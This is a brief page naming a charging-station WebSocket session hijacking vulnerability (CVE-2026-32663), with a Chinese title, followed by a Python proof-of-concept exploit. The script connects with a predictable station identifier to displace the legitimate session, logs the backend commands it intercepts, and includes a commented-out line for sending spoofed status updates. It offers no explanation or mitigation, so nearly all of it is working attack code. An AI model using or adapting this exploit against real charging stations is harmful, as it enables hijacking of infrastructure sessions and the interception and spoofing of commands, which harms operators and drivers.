CVE-2026-32663 充电站 WebSocket 会话劫持漏洞

import asyncio import websockets async def exploit_hijack(target_uri, station_id): # Target URI with the predictable station identifier uri = f"{target_uri}?stationId={station_id}" print(f"[*] Attempting connection to {uri} to hijack session...") try: # Initiate WebSocket connection using the target's session ID async with websockets.connect(uri) as websocket: print("[+] Connection established. Legitimate session likely displaced.") # Listen for backend commands intended for the station while True: message = await websocket.recv() print(f"[+] Intercepted Command: {message}") # Optionally send spoofed status updates # await websocket.send("Status: OK") except Exception as e: print(f"[-] Error: {e}") # Example usage # asyncio.run(exploit_hijack("ws://vulnerable-charger.com/api/ws", "station_12345"))